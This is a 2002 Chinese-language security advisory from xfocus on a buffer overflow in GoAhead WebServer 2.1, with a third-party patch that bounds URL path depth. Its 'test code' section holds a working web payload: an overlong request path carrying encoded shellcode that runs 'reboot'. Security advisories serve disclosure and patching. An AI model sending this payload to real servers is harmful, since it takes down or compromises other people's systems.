xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

GoAhead WebServer存在远程命令可执行漏洞


发布时间:2002-08-21
更新时间:2002-08-21
严重程度:
威胁程度:远程拒绝服务
错误类型:边界检查错误
利用方式:服务器模式

BUGTRAQ ID:5464

受影响系统
GoAhead Software GoAhead WebServer 2.1
   - Linux kernel 2.3
   - Microsoft Windows 2000 Workstation
   - Microsoft Windows 95
   - Microsoft Windows 98
   - Microsoft Windows CE 2.0
   - Microsoft Windows CE 3.0
   - Microsoft Windows NT 4.0
详细描述
GoAhead WebServer是开放源代码的嵌入WEB服务程序,支持ACTIVEX,JAVASCRIPT和SSL验证加密。可使用在多种平台下。

GoAhead WebServer存在一个缓冲区溢出,请求超长不正规的HTTP请求,有可能导致攻击者以WEB权限在系统上执行任意代码。

测试代码
http://www.example.com/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/%eb%1f%5e%89%76%08%31%c0%88%46%07%89%46%0c%b0%0b%89%f3%8d%4e%08%8d%56%0c%cd%80%31%db%89%d8%40%cd%80%e8%dc%ff%ff%ffreboot

解决方案
第三方补丁:

diff -u ws212-020612/default.c ws212-020612gby/default.c
--- ws212-020612/default.c Wed Jun 12 19:38:48 2002
+++ ws212-020612gby/default.c Wed Jun 19 16:34:24 2002
@@ -204,9 +204,11 @@
* is bad.
*/

+#define MAXDIRPATH (64)
+
int websValidateUrl(webs_t wp, char_t *path)
{
- char_t *parts[64]; /* Array of ptr's to URL parts */
+ char_t *parts[MAXDIRPATH]; /* Array of ptr's to URL parts */
char_t *token, *dir, *lpath;
int i, len, npart;

@@ -241,7 +243,11 @@
} else if (gstrcmp(token, T(".")) != 0) {
parts[npart] = token;
len += gstrlen(token) + 1;
- npart++;
+ if(++npart >= MAXDIRPATH) {
+ /* Damn script kitties... */
+ bfree(B_L, path);
+ return -1;
+ }
}
token = gstrtok(NULL, T("/"));
}

相关信息
anonymous source.
参考:http://www.goahead.com/webserver/webserver.htm